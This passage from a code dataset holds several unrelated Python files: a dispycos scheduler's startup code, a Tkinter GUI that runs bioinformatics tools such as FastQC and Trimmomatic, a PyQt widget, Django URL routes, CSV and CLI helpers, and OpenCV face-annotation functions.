'_DispycosJob_', _DispycosJob_)\n\n pycos.config.DispycosSchedulerPort = eval(pycos.config.DispycosSchedulerPort)\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--host', dest='host', action='append', default=[],\n help='host name or IP address of this node')\n parser.add_argument('--ext_host', dest='ext_host', action='append', default=[],\n help='host name or IP address of router to use '\n '(needed in case of NAT firewall/gateway)')\n parser.add_argument('--scheduler_port', dest='scheduler_port', type=str,\n default=str(pycos.config.DispycosSchedulerPort),\n help='port number for dispycos scheduler')\n parser.add_argument('--node_port', dest='node_port', type=str,\n default=str(eval(pycos.config.DispycosNodePort)),\n help='port number for dispycos node')\n parser.add_argument('--ipv4_udp_multicast', dest='ipv4_udp_multicast', action='store_true',\n default=False, help='use multicast for IPv4 UDP instead of broadcast')\n parser.add_argument('-n', '--name', dest='name', default=None,\n help='(symbolic) name given to schduler')\n parser.add_argument('--dest_path', dest='dest_path', default=None,\n help='path prefix to where files sent by peers are stored')\n parser.add_argument('--max_file_size', dest='max_file_size', default=None, type=int,\n help='maximum file size of any file transferred')\n parser.add_argument('-s', '--secret', dest='secret', default='',\n help='authentication secret for handshake with peers')\n parser.add_argument('--certfile', dest='certfile', default='',\n help='file containing SSL certificate')\n parser.add_argument('--keyfile', dest='keyfile', default='',\n help='file containing SSL key')\n parser.add_argument('--node', action='append', dest='nodes', default=[],\n help='additional remote nodes (names or IP address) to use')\n parser.add_argument('--relay_nodes', action='store_true', dest='relay_nodes', default=False,\n help='request each node to relay scheduler info on its network')\n parser.add_argument('--pulse_interval', dest='pulse_interval', type=float,\n default=MaxPulseInterval,\n help='interval in seconds to send \"pulse\" messages to check nodes '\n 'and client are connected')\n parser.add_argument('--ping_interval', dest='ping_interval', type=float, default=0,\n help='interval in seconds to broadcast \"ping\" message to discover nodes')\n parser.add_argument('--zombie_period', dest='zombie_period', type=int,\n default=(100 * MaxPulseInterval),\n help='maximum time in seconds client is idle')\n parser.add_argument('-d', '--debug', action='store_true', dest='loglevel', default=False,\n help='if given, debug messages are printed')\n parser.add_argument('--clean', action='store_true', dest='clean', default=False,\n help='if given, files copied from or generated by clients will be removed')\n parser.add_argument('--daemon', action='store_true', dest='daemon', default=False,\n help='if given, input is not read from terminal')\n config = vars(parser.parse_args(sys.argv[1:]))\n del parser\n\n if config['zombie_period'] and config['zombie_period'] < MaxPulseInterval:\n raise Exception('zombie_period must be >= %s' % MaxPulseInterval)\n\n if not config['name']:\n config['name'] = 'dispycos_scheduler'\n\n if config['loglevel']:\n logger.setLevel(logger.DEBUG)\n else:\n logger.setLevel(logger.INFO)\n del config['loglevel']\n\n if config['certfile']:\n config['certfile'] = os.path.abspath(config['certfile'])\n else:\n config['certfile'] = None\n if config['keyfile']:\n config['keyfile'] = os.path.abspath(config['keyfile'])\n else:\n config['keyfile'] = None\n\n pycos.config.DispycosSchedulerPort = config.pop('scheduler_port')\n pycos.config.DispycosNodePort = config.pop('node_port')\n daemon = config.pop('daemon', False)\n\n _dispycos_scheduler = Scheduler(**config)\n _dispycos_scheduler._remote = True\n del config\n\n def sighandler(signum, frame):\n # Task(_dispycos_scheduler.close).value()\n raise KeyboardInterrupt\n\n try:\n signal.signal(signal.SIGHUP, sighandler)\n signal.signal(signal.SIGQUIT, sighandler)\n except Exception:\n pass\n signal.signal(signal.SIGINT, sighandler)\n signal.signal(signal.SIGABRT, sighandler)\n signal.signal(signal.SIGTERM, sighandler)\n del sighandler\n\n if not daemon:\n try:\n if os.getpgrp() != os.tcgetpgrp(sys.stdin.fileno()):\n daemon = True\n except Exception:\n pass\n\n if daemon:\n del daemon\n while 1:\n try:\n time.sleep(3600)\n except (Exception, KeyboardInterrupt):\n break\n else:\n del daemon\n while 1:\n try:\n _dispycos_cmd = input(\n '\\n\\nEnter \"quit\" or \"exit\" to terminate dispycos scheduler\\n'\n ' \"status\" to show status of scheduler: '\n )\n except KeyboardInterrupt:\n break\n except EOFError:\n logger.warning('EOF ignored!\\n')\n continue\n _dispycos_cmd = _dispycos_cmd.strip().lower()\n if _dispycos_cmd in ('quit', 'exit'):\n break\n if _dispycos_cmd == 'status':\n _dispycos_scheduler.print_status()\n\n logger.info('terminating dispycos scheduler')\n try:\n Task(_dispycos_scheduler.close).value()\n except KeyboardInterrupt:\n pass\n","sub_path":"py3/dispycos.py","file_name":"dispycos.py","file_ext":"py","file_size_in_byte":107938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"534245364","text":"# Importing Required libraries & Modules\nimport os\nimport tkinter as tk\nimport subprocess\nfrom tkinter import ttk\nfrom tkinter import *\nfrom tkinter import messagebox\nfrom tkinter import filedialog\n\n#defining togglable buttons\nclass CollapsiblePane(ttk.Frame):\n \"\"\"\n -----USAGE-----\n collapsiblePane = CollapsiblePane(parent, \n expanded_text =[string],\n collapsed_text =[string])\n \n collapsiblePane.pack()\n button = Button(collapsiblePane.frame).pack()\n \"\"\"\n \n def __init__(self, parent, expanded_text =\"Collapse <<\", collapsed_text =\"Expand >>\"):\n \n ttk.Frame.__init__(self, parent)\n \n # These are the class variable\n # see a underscore in expanded_text and _collapsed_text\n # this means these are private to class\n self.parent = parent\n self._expanded_text = expanded_text\n self._collapsed_text = collapsed_text\n \n # Here weight implies that it can grow it's\n # size if extra space is available\n # default weight is 0\n self.columnconfigure(1, weight = 1)\n \n # Tkinter variable storing integer value\n self._variable = tk.IntVar()\n \n # Checkbutton is created but will behave as Button\n # cause in style, Button is passed\n # main reason to do this is Button do not support\n # variable option but checkbutton do\n self._button = ttk.Checkbutton(self, variable = self._variable, command = self._activate, style =\"TButton\")\n self._button.grid(row = 0, column = 0, sticky = NSEW)\n \n # This wil create a seperator\n # A separator is a line, we can also set thickness\n self._separator = ttk.Separator(self, orient =\"horizontal\")\n self._separator.grid(row = 0, column = 1, sticky =\"we\")\n \n self.frame = ttk.Frame(self, borderwidth = 2)\n \n # This will call activate function of class\n self._activate()\n \n def _activate(self):\n if not self._variable.get():\n \n # As soon as button is pressed it removes this widget\n # but is not destroyed means can be displayed again\n self.frame.grid_forget()\n \n # This will change the text of the checkbutton\n self._button.configure(text = self._collapsed_text)\n \n elif self._variable.get():\n # increasing the frame area so new widgets\n # could reside in this container\n self.frame.grid(row = 1, column = 0, columnspan = 2)\n self._button.configure(text = self._expanded_text)\n \n def toggle(self):\n \"\"\"Switches the label frame to the opposite state.\"\"\"\n self._variable.set(not self._variable.get())\n self._activate()\n# Defining TextEditor Class\nclass TextEditor:\n # Defining Constructor\n def __init__(self,root):\n # Assigning root\n self.root = root\n # Title of the window\n self.root.title(\"TOOL\")\n # Window Geometry\n self.root.geometry(\"1200x700+200+150\")\n # Initializing filename\n self.filename = None\n # Declaring Title variable\n self.title = StringVar()\n # Declaring Status variable\n self.status = StringVar()\n # Creating Titlebar\n\n # Creating Scrollbar\n scrol_y = Scrollbar(self.root,orient=VERTICAL)\n #creating tool options with collapsible pane\n tooloptions = Frame(root,width=500,height=500,bg='green')\n tooloptions.pack(side= LEFT)\n #needs to be rewriten to be usable multiple times\n \n def open_sra_file():\n global inp_address \n path_inp = filedialog.askopenfile(initialdir=\"/\")\n inp_address = path_inp.name\t \n path.config(text = inp_address)\n \n def open_adp_file():\n global inp_address \n path_inp = filedialog.askopenfile(initialdir=\"/\")\n adp_address = path_inp.name\t \n adp_path.config(text = adp_address)\n \n #function to run fastqc needs to be moved to better location \n def run_fastqc():\n \n for line in open('Project/CODE/fastqc.txt'):\n if 'fastqc ' in line:\n fline = line\n break;\n \n fline = fline.replace('sra_data', inp_address)\n subprocess.run(fline, shell = True, executable = \"bash\")\n \n self.txtarea.insert(END,fline)\n \n def run_deinterleave():\n \n codes = open('Project/CODE/deinterleave.sh') \n codex = codes.read()\n\n codex = codex.replace('sra_data', inp_address)\n #is opening this twice creating another pipeline?\n subprocess.run(codex, shell=True, executable=\"bash\")\n codes.close()\n \n self.txtarea.insert(END,codex) \n \n def run_trim():\n \n codes = open('Project/CODE/trim.txt') \n codex = codes.read()\n codex = codex.replace('numb',threads)\n #is opening this twice creating another pipeline?\n subprocess.run(codex, shell=True, executable=\"bash\")\n codes.close()\n \n self.txtarea.insert(END,codex) \n\n \n \n def sel_typ1_func(event= None):\n \n if event:\n fm = event.widget.get()\n print(fm)\n if fm =='Interleaved':\n Any = Button(PP.frame, text= \"Deinterlace\", command = run_deinterleave).grid(column = 0, row = 4)\n \n \n \n #selection function to store selected choice\n def create_sel_type1():\n n1 = tk.StringVar()\n file_type1 = Label(PP.frame, text = \"Select format :\", font = (\"Calibri\", 15)).grid(column = 0, row = 1)\n file_type_selection1 = ttk.Combobox(PP.frame, width = 27, textvariable= n1)\n file_type_selection1['values'] = ('Interleaved', 'seperate')\n file_type_selection1.grid(column = 1, row = 1)\n file_type_selection1.bind(\"<>\", sel_typ1_func) \n \n def sel_typ_func(event= None):\n \n if event:\n typ = event.widget.get()\n print(typ)\n if typ == 'Paired end':\n create_sel_type1()\n global threads \n def entry_func(event = None):\n \t\n \tif event:\n threads = event.widget.get()\n print(threads)\n \n \n \n #PREPROCESSING INPUTS\n PP = CollapsiblePane(tooloptions, expanded_text= \"preprocessing\", collapsed_text = \"preprocessing\")\n PP.grid(column = 0, row = 0, sticky = EW)\n file_type = Label(PP.frame, text = \"Select file type :\", font = (\"Calibri\", 15)).grid(column = 0, row = 0)\n n = tk.StringVar()\n \n file_type_selection = ttk.Combobox(PP.frame, width = 27, textvariable= n)\n file_type_selection['values'] = ('Single end', 'Paired end')\n file_type_selection.grid(column = 1, row = 0)\n #var = file_type_selection.current()\n file_type_selection.bind(\"<>\",sel_typ_func)\n \n btn = Button(PP.frame, text ='select file', command= lambda:open_sra_file())\n path = Label(PP.frame, text = \"_\")\n \n btn.grid(row = 3,column = 0)\n path.grid(row = 3,column = 1)\n \n\n \n #FASTQC TOOL OPTIONS \n FASTQC = CollapsiblePane(tooloptions, expanded_text= \"FASTQC\", collapsed_text= \"FASTQC\")\n FASTQC.grid(column = 0, row = 1, sticky = EW)\n ANALYSIS = Button(FASTQC.frame, text= \"run fasqc\", command = run_fastqc).pack()\n \n #TRIMMING TOOL OPTIONS\n TRIM = CollapsiblePane(tooloptions, expanded_text= \"TRIMMOMATIC\", collapsed_text= \"TRIMMOMATIC\")\n TRIM.grid(column = 0, row = 2, sticky = EW)\n no_threads = Label(TRIM.frame, text = \"No of threads :\", font = (\"Calibri\", 15)).grid(column = 0, row = 0)\n n = tk.StringVar()\n inp_thr = tk.Entry (TRIM.frame)\n inp_thr.grid(column = 1, row = 0)\n\n \n inp_thr.bind(\"\",entry_func)\n \n btn = Button(TRIM.frame, text ='adapter file location :', command= lambda:open_adp_file())\n adp_path = Label(TRIM.frame, text = \"_\")\n trimming = Button(TRIM.frame, text= \"run trimmomatic\", command = run_trim).grid(row = 4, column = 0)\n \n btn.grid(row = 3,column = 0)\n adp_path.grid(row = 3,column = 1)\n \n #BOWTIE2 AND SAMTOOLS IN CONTAMINATION REMOVAL OPTIONS\n CONT_R = CollapsiblePane(tooloptions, expanded_text= \"Removing Host genome contamination \", collapsed_text= \"contamination removal\")\n CONT_R.grid(column = 0, row = 3, sticky = EW)\n option1 = Button(CONT_R.frame, text= \"option1\").pack()\n option2 = Button(CONT_R.frame, text= \"option2\").pack()\n #QUALITY CHECK AFTER REMOVAL FASTQC\n QC = CollapsiblePane(tooloptions, expanded_text= \"quality check after removing contamination (FASTQC)\", collapsed_text= \"quality check\")\n QC.grid(column = 0, row = 4, sticky = EW)\n option1 = Button(QC.frame, text= \"option1\").pack()\n option2 = Button(QC.frame, text= \"option2\").pack()\n #TAXONOMIC PROFILING OPTIONS\n TAX_P = CollapsiblePane(tooloptions, expanded_text= \"Taxonomic Profiling (KAIJU)\", collapsed_text= \"Profiling\")\n TAX_P.grid(column = 0, row = 5, sticky = EW)\n option1 = Button(TAX_P.frame, text= \"option1\").pack()\n option2 = Button(TAX_P.frame, text= \"option2\").pack()\n #ASSEMBLY TOOL OPTIONS\n ASS = CollapsiblePane(tooloptions, expanded_text= \"Assembly of reads (MetaSpades)\", collapsed_text= \"Assembly\")\n ASS.grid(column = 0, row = 6, sticky = EW)\n option1 = Button(ASS.frame, text= \"option1\").pack()\n option2 = Button(ASS.frame, text= \"option2\").pack()\n #ASSEMBLY TOOL OPTIONS\n ASS_Q = CollapsiblePane(tooloptions, expanded_text= \"Quality of assembly\", collapsed_text= \"Assembly quality\")\n ASS_Q.grid(column = 0, row = 7, sticky = EW)\n option1 = Button(ASS_Q.frame, text= \"option1\").pack()\n option2 = Button(ASS_Q.frame, text= \"option2\").pack()\n #BINNING TOOL OPTIONS\n BIN = CollapsiblePane(tooloptions, expanded_text= \"Binning of sequences\", collapsed_text= \"binning\")\n BIN.grid(column = 0, row = 8, sticky = EW)\n option1 = Button(BIN.frame, text= \"option1\").pack()\n option2 = Button(BIN.frame, text= \"option2\").pack()\n #ANNOTATION TOOL OPTIONS\n ANN = CollapsiblePane(tooloptions, expanded_text= \"Annotation of genes\", collapsed_text= \"Annotation\")\n ANN.grid(column = 0, row = 9, sticky = EW)\n option1 = Button(ANN.frame, text= \"option1\").pack()\n option2 = Button(ANN.frame, text= \"option2\").pack()\n # Creating Text Area\n self.txtarea = Text(self.root,yscrollcommand=scrol_y.set,font=(\"Courier\",10,\"bold\"),state=\"normal\",relief=GROOVE)\n # Packing scrollbar to root window\n scrol_y.pack( side= RIGHT, fill= Y )\n # Adding Scrollbar to text area\n scrol_y.config(command=self.txtarea.yview)\n # Packing Text Area to root window\n self.txtarea.pack(side= BOTTOM, fill=BOTH,expand=1)\n # Calling shortcuts funtion\n self.shortcuts()\n # Defining settitle function\n def settitle(self):\n # Checking if Filename is not None\n if self.filename:\n # Updating Title as filename\n self.title.set(self.filename)\n else:\n # Updating Title as Untitled\n self.title.set(\"Untitled\")\n # Defining New file Function\n def newfile(self,*args):\n # Clearing the Text Area\n self.txtarea.delete(\"1.0\",END)\n # Updating filename as None\n self.filename = None\n # Calling settitle funtion\n self.settitle()\n # updating status\n self.status.set(\"New File Created\")\n # Defining Open File Funtion\n def openfile(self,*args):\n # Exception handling\n try:\n # Asking for file to open\n self.filename = filedialog.askopenfilename(title = \"Select file\",filetypes = ((\"All Files\",\"*.*\"),(\"Text Files\",\"*.txt\"),(\"Python Files\",\"*.py\")))\n # checking if filename not none\n if self.filename:\n # opening file in readmode\n infile = open(self.filename,\"r\")\n # Clearing text area\n self.txtarea.delete(\"1.0\",END)\n # Inserting data Line by line into text area\n for line in infile:\n self.txtarea.insert(END,line)\n # Closing the file \n infile.close()\n # Calling Set title\n self.settitle()\n # Updating Status\n self.status.set(\"Opened Successfully\")\n except Exception as e:\n messagebox.showerror(\"Exception\",e)\n # Defining Save File Funtion\n def savefile(self,*args):\n # Exception handling\n try:\n # checking if filename not none\n if self.filename:\n # Reading the data from text area\n data = self.txtarea.get(\"1.0\",END)\n # opening File in write mode\n outfile = open(self.filename,\"w\")\n # Writing Data into file\n outfile.write(data)\n # Closing File\n outfile.close()\n # Calling Set title\n self.settitle()\n # Updating Status\n self.status.set(\"Saved Successfully\")\n else:\n self.saveasfile()\n except Exception as e:\n messagebox.showerror(\"Exception\",e)\n # Defining Save As File Funtion\n def saveasfile(self,*args):\n # Exception handling\n try:\n # Asking for file name and type to save\n untitledfile = filedialog.asksaveasfilename(title = \"Save file As\",defaultextension=\".txt\",initialfile = \"Untitled.txt\",filetypes = ((\"All Files\",\"*.*\"),(\"Text Files\",\"*.txt\"),(\"Python Files\",\"*.py\")))\n # Reading the data from text area\n data = self.txtarea.get(\"1.0\",END)\n # opening File in write mode\n outfile = open(untitledfile,\"w\")\n # Writing Data into file\n outfile.write(data)\n # Closing File\n outfile.close()\n # Updating filename as Untitled\n self.filename = untitledfile\n # Calling Set title\n self.settitle()\n # Updating Status\n self.status.set(\"Saved Successfully\")\n except Exception as e:\n messagebox.showerror(\"Exception\",e)\n # Defining Exit Funtion\n def exit(self,*args):\n op = messagebox.askyesno(\"WARNING\",\"Your Unsaved Data May be Lost!!\")\n if op>0:\n self.root.destroy()\n else:\n return\n # Defining Cut Funtion\n def cut(self,*args):\n self.txtarea.event_generate(\"<>\")\n # Defining Copy Funtion\n def copy(self,*args):\n self.txtarea.event_generate(\"<>\")\n # Defining Paste Funtion\n def paste(self,*args):\n self.txtarea.event_generate(\"<>\")\n # Defining Undo Funtion\n def undo(self,*args):\n # Exception handling\n try:\n # checking if filename not none\n if self.filename:\n # Clearing Text Area\n self.txtarea.delete(\"1.0\",END)\n # opening File in read mode\n infile = open(self.filename,\"r\")\n # Inserting data Line by line into text area\n for line in infile:\n self.txtarea.insert(END,line)\n # Closing File\n infile.close()\n # Calling Set title\n self.settitle()\n # Updating Status\n self.status.set(\"Undone Successfully\")\n else:\n # Clearing Text Area\n self.txtarea.delete(\"1.0\",END)\n # Updating filename as None\n self.filename = None\n # Calling Set title\n self.settitle()\n # Updating Status\n self.status.set(\"Undone Successfully\")\n except Exception as e:\n messagebox.showerror(\"Exception\",e)\n # Defining About Funtion\n def infoabout(self):\n messagebox.showinfo(\"About Text Editor\",\"A Simple Text Editor\\nCreated using Python.\")\n # Defining shortcuts Funtion\n def shortcuts(self):\n # Binding Ctrl+n to newfile funtion\n self.txtarea.bind(\"\",self.newfile)\n # Binding Ctrl+o to openfile funtion\n self.txtarea.bind(\"\",self.openfile)\n # Binding Ctrl+s to savefile funtion\n self.txtarea.bind(\"\",self.savefile)\n # Binding Ctrl+a to saveasfile funtion\n self.txtarea.bind(\"\",self.saveasfile)\n # Binding Ctrl+e to exit funtion\n self.txtarea.bind(\"\",self.exit)\n # Binding Ctrl+x to cut funtion\n self.txtarea.bind(\"\",self.cut)\n # Binding Ctrl+c to copy funtion\n self.txtarea.bind(\"\",self.copy)\n # Binding Ctrl+v to paste funtion\n self.txtarea.bind(\"\",self.paste)\n # Binding Ctrl+u to undo funtion\n self.txtarea.bind(\"\",self.undo)\n# Creating TK Container\nroot = Tk()\n# Passing Root to TextEditor Class\nTextEditor(root)\n# Root Window Looping\nroot.mainloop()\n","sub_path":"GUI_CODE (copy) (1).py","file_name":"GUI_CODE (copy) (1).py","file_ext":"py","file_size_in_byte":16059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"384537075","text":"from PyQt5.QtGui import QPixmap\nfrom PyQt5.QtWidgets import QWidget, QCommandLinkButton, QLabel, QVBoxLayout, QHBoxLayout\n\nfrom zzr.src.Helper import Widget_style, Window_manager\nfrom zzr.src.Widgets.Pic_label import Pic_label\n\n\nclass Repository_info_card(QWidget):\n\n def __init__(self, data):\n super().__init__()\n self.setStyleSheet(Widget_style.commandlink_button_style)\n self.name = QCommandLinkButton()\n self.name.setText(data['name'])\n self.name.clicked.connect(lambda: self.on_button_click())\n\n self.author = QLabel()\n self.author.setText(\"作者: \" + data['author'])\n\n self.base_layout = QVBoxLayout()\n self.base_layout.setDirection(QVBoxLayout.TopToBottom)\n\n self.description_layout = QHBoxLayout()\n self.description_layout.addWidget(self.name)\n self.description_layout.addWidget(self.author)\n self.base_layout.addLayout(self.description_layout)\n self.base_layout.addSpacing(10)\n # self.description = QLabel()\n # self.description.setText(data['description']['description'])\n # self.base_layout.addWidget(self.description)\n self.base_layout.addSpacing(10)\n\n self.star_num = Pic_label(pic=QPixmap(\"../resources/images/star.png\"), text=str(data['star_num']))\n self.fork_num = Pic_label(pic=QPixmap(\"../resources/images/fork.png\"), text=str(data['fork_num']))\n pix = QPixmap(\"../resources/images/friend.png\")\n pix = pix.scaled(24, 24)\n self.contributor_num = Pic_label(pix, str(data['contributor_num']))\n self.contributor_num.setMinimumHeight(pix.height())\n self.sum_layout = QHBoxLayout()\n self.sum_layout.addWidget(self.star_num)\n self.sum_layout.addWidget(self.fork_num)\n self.sum_layout.addWidget(self.contributor_num)\n\n self.base_layout.addLayout(self.sum_layout)\n self.setLayout(self.base_layout)\n\n def on_button_click(self):\n Window_manager.change_window(\"Repository_panel\", [self.name.text()])\n\n\n\n","sub_path":"zzr/src/Repository_info/Repository_info_card.py","file_name":"Repository_info_card.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"318963332","text":"from .views import ArticleListView, ArticleDetailView, CreatePostView, ArticleUpdate, ArticleDelete, ArticleAboutView\nfrom django.urls import path\nfrom .import views \n\n\nurlpatterns = [\n path('', ArticleListView.as_view(), name='home'),\n path('article/', ArticleDetailView.as_view(), name='detail'),\n path('create/', CreatePostView.as_view(), name='create'),\n path('create//', ArticleUpdate.as_view(), name='article_edit'),\n path('delete//', ArticleDelete.as_view(), name='delete'), \n path('about/', ArticleAboutView.as_view(), name='about'), \n \n]\n","sub_path":"blogapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"32551188","text":"\nimport re\nimport sys\nimport os\ndir_path = os.path.abspath(os.path.dirname(__file__))\n\nfrom config import *\n \n\n### strings\ndef o(t, isKeys=False):\n\n if not isinstance(t, dict):\n return str(t)\n\n sort_t_keys = list(t.keys())\n sort_t_keys.sort()\n sort_t = {f\"{k} {t[k]}\" for k in sort_t_keys}\n\n return \"{:\" + \" :\".join(sort_t) + \"}\"\n\ndef oo(t):\n print(o(t))\n return t\n\ndef eg(key, str, fun):\n egs[key] = fun\n global help\n help = help + \" -g \"+key+\"\\t\"+str+\"\\n\"\n\n#######\n### csv\ndef csv(filename, csv_fun):\n\n ######\n # print(f\"csv filename {filename}\")\n # print(f\"fun_csv {fun_csv}\")\n\n s = open(dir_path+'/'+filename, 'r')\n lines = s.readlines()\n for line in lines:\n t = []\n for s1 in line.split(','):\n s1 = s1.replace('\\n', '')\n t.append(coerce(s1))\n \n #######\n # print(f\"csv t\")\n # print(t)\n # t = ['Clndrs', 'Volume', 'Hp:', 'Lbs-', 'Acc+', 'Model', 'origin', 'Mpg+']\n # t = [8.0, 304.0, 193.0, 4732.0, 18.5, 70.0, 1.0, 10.0]\n # ....\n\n csv_fun(t)\n \n#######\n### cli\ndef cli(options):\n for k, v in options.items():\n v = str(v)\n\n argv = sys.argv[1:]\n for n, x in enumerate(argv):\n if x=='-'+k[0] or x=='--'+k:\n if v == 'false':\n v = 'true'\n if v == 'true':\n v = 'false'\n else:\n v = argv[n+1]\n options[k] = coerce(v)\n\n # print(options)\n return options\n\n############\n### settings\ndef settings(s):\n t = re.findall(\"\\n[\\s]+[-][\\S]+[\\s]+[-][-]([\\S]+)[^\\n]+= ([\\S]+)\", s)\n return dict(t)\n\n##########\n### coerce\ndef coerce(s):\n if s == \"true\": return True\n elif s == \"false\": return False\n else:\n try:\n return float(s)\n except:\n return s\n\ndef show(node, what, cols, nPlaces, lvl=0):\n if node:\n\n print('| '*lvl + str(len(node['data'].rows)) + '', end='')\n \n if ((not 'left' in node) or lvl==0):\n print(o(node['data'].stats(\"mid\", node['data'].cols.y, nPlaces)))\n else:\n print('')\n # print(o(node['data'].stats(\"mid\", node['data'].cols.y, nPlaces)) if ((not 'left' in node) or lvl==0) else \"\")\n # show(node['left'], what, cols, nPlaces, lvl+1)\n show(node.get('left'), what, cols, nPlaces, lvl+1)\n # show(node['right'], what, cols, nPlaces, lvl+1)\n show(node.get('right'), what, cols, nPlaces, lvl+1)","sub_path":"src/hw5/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"492466543","text":"from pathlib import Path\n\nimport isrraw as iu\n\nrdir = Path(__file__).parents[1]\nname = \"test.dt3.h5\"\npath = rdir / \"tests\"\nfn = path / name\n\n\nP = {\n \"beamid\": 64157,\n \"tlim\": (\"06 Apr 2013 00:01:17\", \"06 Apr 2013 00:02:30\"),\n \"zlim\": (200, 300),\n \"vlimacf\": (None, None),\n \"scan\": False,\n \"odir\": None,\n} # km\n\n\ndef test_readpowersnr():\n iu.readpower_samples(fn, P)\n\n\ndef test_readacf():\n iu.readACF(fn, P)\n","sub_path":"src/isrraw/tests/test_all.py","file_name":"test_all.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"410740690","text":"import cv2\nimport numpy as np\n\ndef display_text(frame_display, text, START_X_POS, START_Y_POS, LINE_COLOR_WHITE, TEXT_LINE, probas_pred, TRESHOLD):\n\tif probas_pred > TRESHOLD:\n\t\tcv2.putText(frame_display,\n\t\t\t\t\ttext,\n\t\t\t\t\torg=(START_X_POS + 1,START_Y_POS + 25),\n\t\t\t\t\tfontFace=cv2.FONT_HERSHEY_DUPLEX,\n\t\t\t\t\tfontScale=1.0, color=LINE_COLOR_WHITE,\n\t\t\t\t\tthickness=TEXT_LINE)\n\telse:\n\t\ttext = '...'\n\t\tcv2.putText(frame_display,\n\t\t\t\t\ttext,\n\t\t\t\t\torg=(START_X_POS + 1,START_Y_POS + 25),\n\t\t\t\t\tfontFace=cv2.FONT_HERSHEY_DUPLEX,\n\t\t\t\t\tfontScale=1.0, color=LINE_COLOR_WHITE,\n\t\t\t\t\tthickness=TEXT_LINE)\n\n\ndef no_face(text, frame_display, MARGIN_W, MARGIN_H, RECT_FILLED, LINE_COLOR_WHITE, TEXT_LINE):\n\n\tsize = cv2.getTextSize(text=text,\n\t\t\t\t\t\t fontFace=cv2.FONT_HERSHEY_DUPLEX,\n\t\t\t\t\t\t fontScale=1.0,\n\t\t\t\t\t\t thickness=TEXT_LINE)\n\n\ttext_width = size[0][0]\n\tTEXT_HEIGHT = size[0][1]\n\tprobas_pred=0\n\n\tcv2.rectangle(frame_display,\n\t\t\t (0,0),\n\t\t\t (text_width + MARGIN_W, TEXT_HEIGHT + MARGIN_H),\n\t\t\t (0,0,255),\n\t\t\t RECT_FILLED)\n\t\n\tcv2.putText(frame_display,\n\t\t\t\ttext,\n\t\t\t\torg=(1,25),\n\t\t\t\tfontFace=cv2.FONT_HERSHEY_DUPLEX,\n\t\t\t\tfontScale=1.0, color=LINE_COLOR_WHITE,\n\t\t\t\tthickness=TEXT_LINE)\n\n\ndef annotate(faces, profiles, text, frame_display, x, y, w, h, probas_pred, TRESHOLD):\n\n\tLINE_COLOR_BLUE = (255,0,0)\n\tRECT_FILLED = -10\t\t\t\t\t# Negative Thinkness value in order to fill the rectangle\n\tLINE_COLOR_WHITE = (255,255,255)\n\tTEXT_LINE = 1\t\t\t\t\t\t# Display result only above this threshold probability\n\n\t\n\n\n\tsize = cv2.getTextSize(text=text,\n\t\t\t\t\t\t fontFace=cv2.FONT_HERSHEY_DUPLEX,\n\t\t\t\t\t\t fontScale=1.0,\n\t\t\t\t\t\t thickness=TEXT_LINE)\n\n\ttext_width = size[0][0]\n\tTEXT_HEIGHT = size[0][1]\n\tMARGIN_W=5\n\tMARGIN_H=8\n\n\tSTART_X_POS = x-12\n\tSTART_Y_POS = y-56\n\n\toverlay = frame_display.copy()\n\n\tcv2.rectangle(overlay,\n\t\t\t\t (START_X_POS,START_Y_POS),\n\t\t\t\t (START_X_POS + text_width + MARGIN_W, START_Y_POS + TEXT_HEIGHT + MARGIN_H),\n\t\t\t\t LINE_COLOR_BLUE,\n\t\t\t\t RECT_FILLED)\n\n\topacity = 0.4\n\tcv2.addWeighted(overlay, opacity, frame_display, 1 - opacity, 0, frame_display)\n\n\n\tif type(faces) != tuple:\n\t\tif faces.any() != np.array([[0,0,0,0]]).any():\n\t\t\tdisplay_text(frame_display, text, START_X_POS, START_Y_POS, LINE_COLOR_WHITE, TEXT_LINE, probas_pred, TRESHOLD)\n\t\telse:\n\t\t\ttext_no = \"No face detected\"\n\t\t\tno_face(text_no, frame_display, MARGIN_W, MARGIN_H, RECT_FILLED, LINE_COLOR_WHITE, TEXT_LINE)\n\t\t\tdisplay_text(frame_display, text, 50, 50, (0,0,255), 2, probas_pred, TRESHOLD)\n\t\n\telif type(profiles) != tuple:\n\t\tif profiles.any() != np.array([[0,0,0,0]]).any():\n\t\t\tdisplay_text(frame_display, text, START_X_POS, START_Y_POS, LINE_COLOR_WHITE, TEXT_LINE, probas_pred, TRESHOLD)\n\t\telse:\n\t\t\ttext = \"No face detected\"\n\t\t\tno_face(text, frame_display, MARGIN_W, MARGIN_H, RECT_FILLED, LINE_COLOR_WHITE, TEXT_LINE)\n\n\n\ndef draw_face_area(frame_display, x, y, w, h):\n\n\tRECT_COLOR = (255,0,0)\n\tTHINKNESS = 3\n\n\toverlay = frame_display.copy()\n\n\tcv2.rectangle(overlay,\n\t\t\t\t (x-10,y-25),\t\t# start position of the rectangle\n\t\t\t\t (x+w+10, y+h+25),\t# end position of the rectangle\n\t\t\t\t RECT_COLOR,\n\t\t\t\t THINKNESS)\n\n\topacity = 0.4\n\tcv2.addWeighted(overlay, opacity, frame_display, 1 - opacity, 0, frame_display)","sub_path":"face_viz.py","file_name":"face_viz.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"130730172","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 4 21:51:45 2017\n\n@author: Caiyd\n\"\"\"\n\nimport click\nfrom numba import jit\n\n\n\n\n@click.command()\n@click.argument('incnv')\n@click.argument('outcnv')\n@click.argument('majorgtcount', type=int)\n@jit\ndef main(incnv, outcnv, majorgtcount):\n with open(outcnv, 'w') as f_out:\n with open(incnv) as f_in:\n header = f_in.readline()\n f_out.write(header)\n for line in f_in:\n stat = [int(x) if x.isdigit() else 0 